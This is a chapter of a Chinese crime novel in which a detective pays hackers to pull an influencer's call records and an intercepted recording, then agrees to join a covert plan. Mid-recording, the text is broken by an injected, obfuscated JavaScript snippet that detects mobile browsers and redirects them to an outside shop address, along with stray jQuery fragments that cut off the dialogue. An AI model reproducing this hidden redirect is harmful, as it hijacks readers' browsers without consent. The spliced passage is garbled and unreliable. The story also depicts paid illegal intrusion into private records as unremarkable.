离开316房，卫希礼没有直接下楼，而是鬼使神差地走向了护士站。
当班护士正在整理药品，抬头看他：“卫先生，要走了？”
“嗯。”卫希礼顿了顿，“我想看看316最近三个月的访客记录，除了我，还有谁来过？”
护士知道他是直系亲属，没有再问，直接调出访客登记系统。
屏幕滚动。
卫希礼看着，大部分是他的名字，每周一次，雷打不动。偶尔有几个卢弥生的老同事，名字他认识，都退了休，一年来一两次。
然后，他的目光停在了一条记录上。
访客姓名：叶迦南
与病人关系：朋友之女
来访时间：2025年6月28日下午2点15分
离开时间：下午2点40分
备注：自称是卢弥生老同事的女儿，前来探望，未携带物品，未进行医疗操作。
叶迦南。
这个名字如同一根冰锥，猛然刺进了卫希礼的脊椎。
他认识这个人，不，应该说，他知道这个名字——十年前叶默尔事件调查材料里出现过。
她是叶默尔的堂姐，也是那场校园暴力最初的煽动者之一，但因为“证据不足”和“未直接参与”，最终没被追究。
那个名字在档案角落里，与档案中涉及的任何人相比，都只是一块不起眼的污渍。
此刻，这块污渍正在洇开。
“这个人，”卫希礼指着屏幕，“她来的时候，说了什么？做了什么？”
护士努力回忆：“一个年轻女人，打扮得挺时髦。她说她父亲是卢警官的老战友，最近才听说卢警官在这里疗养，特意来看看。”
“她进房间了吗？”
“进了，待了大概二十分钟，出来的时候眼睛红红的。”护士顿了顿，“噢对了，她问了我一个问题。”
“什么问题？”
“她问，‘卢警官的儿子是不是叫卫希礼？现在是不是在刑警队工作？’”
卫希礼的神经战栗起来。
“你怎么回答的？”
“我说是的，您每周都来，很孝顺。”护士有些不安，“这……不能说吗？”
“不，没关系。”卫希礼强迫自己冷静，“她还问了什么？”
“没了，就走了……”护士想了想，“噢！离开之前，我看见她在走廊尽头那个窗户边站了一会儿，好像在打电话，声音很低很低。”
卫希礼谢过护士，转身离开。
他的脚步很快，几乎是小跑，下楼梯，穿过大堂，冲出疗养院大门。
雨很大，他没打伞，径直走向停车场。雨水打湿头发、肩膀，但他感觉不到冷。
他的脑海里只有一个名字在疯狂回响：叶迦南。
她为什么来找父亲？
她怎么知道父亲在这里？
她问起自己，是想确认什么？
车钥匙在手心攥得生疼，他拉开车门，坐进去，关上门。车厢里一片寂静，只有雨点敲打车顶的密集声响。
他双手握住方向盘，额头抵在手背上。
深呼吸，一次，两次，三次。
他需要知道更多，于是他拿出手机，打开加密通讯软件，输入关键词：“叶迦南霞湾网红近期活动”。
这个软件连接着他多年来建立的信息网络，既有一些游走在灰色地带的信息贩子，也有私家侦探和黑客。
他从未为私事动用过，这是第一次。
三分钟后，回复来了。
“叶迦南，网络ID‘迦南探秘’，主打都市怪谈、真实罪案解密、灵异事件，粉丝数85万，活跃于‘颤音’‘快指’平台。”
“近期更新频率增加，内容偏向‘湿地神秘事件’‘十年前少女失踪悬案’。”
“昨天下午更新动态，定位城西慈恩疗养院，配文：探访一位沉睡的英雄，听到了一个尘封十年的故事……敬请期待我的下一期特别企划 #真实罪案# #未解之谜# #湿地传说#。”
“动态下有粉丝追问详情，她回复‘周五凌晨四点直播揭晓’。”
周五凌晨四点。
何黛拉和海因茨约见的时间点。
卫希礼心跳加速，“查她最近的通话记录和社交联系人，特别是和媒体、警方相关的，最高优先级。”
“需要时间，也需加钱。”
“加，尽快。”卫希礼转账一笔不小的数额。
等待回复的间隙，他始终盯着雨幕中的疗养院主楼。父亲就在其中一扇窗户后面，无知无觉地，成了别人故事里的道具。
手机再次震动。
新信息：
“叶迦南最近24小时内频繁与一个归属地为省会的号码联系，机主登记为‘星闻周刊’记者，两人通话时长累计超过两小时。”
“此外，她昨晚登录了一个境外加密聊天室，主题为‘真实罪案内容创作者协作’。”
星闻周刊，省内最知名的都市报之一，以深度调查和社会新闻见长，热衷于追逐猎奇热点。
她不仅要做直播，还想用传统媒体造势。
卫希礼加快了打字速度：“能查到她和那个记者具体聊了什么吗？”
“需要更深度入侵，风险高，价钱翻倍。”
“做。”
十五分钟后，屏幕亮起。
这次是一段音频文件，附带说明：“截取自昨天下午疗养院通话后的录音备份（疑似叶迦南自动录音留存）。”
卫希礼插上耳机，点开音频。
滋滋的电流声后，叶迦南的声音传来，尖利而兴奋：
“……对，就在慈恩疗养院，我亲眼见到了，卢弥生，当年那个坚持要查水泥桩案的警察，现在就是个活死人……”
“呵，要我说，有些人就是轴，非得往墙上撞，结果把自己撞成这幅德行，还不如死了痛快。”
短暂的停顿，电话那头在询问。
“我当然没白去。”叶迦南的语速加快，“我问了护士，他儿子卫希礼，现在真是刑警！年纪轻轻，长得也不错，可惜了，跟他爹一样，估计也是个认死理的。”
“重要的是，他和一个叫何黛拉的女人关系匪浅。他是那女人的监护人，对，监护人！奇怪吧？他们几乎差不多大，非亲非故的……”
“而且，这个信息官方层面是查不到的，我托朋友查了内部系统，有关何黛拉的记录是加密的，权限很高，根本打不开，你说怪不怪？一个小小的博物馆管理员，凭什么？”
电话那头似乎提了个关键问题。
“我当然怀疑！”叶迦南的音调拔高，“十年前叶默尔死得不明不白，尸体都没找到，现在突然冒出个何黛拉，还是湿地博物馆的管理员，专门研究真菌生态……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918396|213395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“这太有意思了，一个死了的人，一个懂真菌的人，一个刚被真菌搞死的人——这他妈简直是老天爷递到我眼前的剧本！”
“而恰好，那个刚被真菌搞死的林闻韶，就是当年逼死叶默尔的主力之一！天底下有这么巧的事？”
她的声音压得更低，也更兴奋：“我查了何黛拉的公开资料，干净得离谱。但越是完美，就越是假，不是吗？”
“周五直播？不，光直播不够，我联系了星闻周刊的老吕，他感兴趣。我们打算做个系列报道，‘白鹤复仇：真菌杀人背后的十年校园暴力冤魂’。”
“够劲爆吧？真实罪案、复仇幽灵、湿地传说、还有警察可能涉案，这buff简直叠满了，流量绝对爆炸。”
“现在就需要更多实锤……对，重点就是确认何黛拉到底是不是叶默尔，还有卫希礼在整个事件里扮演了什么角色。如果他真是帮凶……呵，那我接下来一年的内容都有了。”
录音到此戛然而止。
卫希礼取下耳机，手心里全是冰凉的汗，指尖甚至有些麻痹。
他迅速联系何黛拉，简要概括情报。
何黛拉也很快回复，只有三个字：
“麻烦了。”
“什么意思？”卫希礼的心沉了下去。
何黛拉的文字飞快跳出，“她私信过我，问寂静证词是不是我做的，我没回。她昨天又发邮件，说想合作直播，五五分成。”
“你拒绝了？”
“我删除了。”何黛拉叹了口气，“但她显然没放弃。”
卫希礼感到一阵强烈的恶心。
“她会做什么？”
“不知道。”何黛拉回复，“左不过是榨干叶默尔的最后一滴血，嚼碎最后一块骨头，再把残渣吐出来，包装成刺激的故事卖钱。”
停顿。
“卫警官，我们需要提前。”
“提前什么？”
“海因茨，原计划周五清晨，但现在可能等不了了。”
何黛拉的文字十分冷静，“如果叶迦南已经盯上我们，她随时可能把事情捅出去，或者用这个威胁我们。必须在她行动之前，完成第二阶段。”
卫希礼看着手机屏幕，雨水从发梢滴落，在屏幕上晕开水渍。
他想起刚才在父亲床前的宣誓。
他说，“我会待在黑暗里”。
现在，黑暗发出了指令。
“什么时候？”他打字。
“明天清晨。天气预报，凌晨四点开始起雾，持续到上午九点。完美。”
“我需要做什么？”
“原计划，上风向，望远镜。如果出现意外……”何黛拉停顿，“你知道该怎么做。”
她知道他会清理痕迹。
她知道他会成为她的保险。
卫希礼靠在椅背上，看着车窗外被雨水扭曲的世界。
然后他回复：“收到。”
对话结束，他发动引擎，驶离疗养院。
后视镜里，那座白色建筑在雨中越来越模糊，好像正在溶解的止痛药片。
而卢弥生，他的父亲，那个曾经相信正义、相信光明的男人，依旧躺在那里，做着也许永远不会醒来的梦。
卫希礼踩下油门，车子冲进雨幕，如同一颗射向黑暗的子弹。
他知道，从这一刻起，他再也没有回头路了。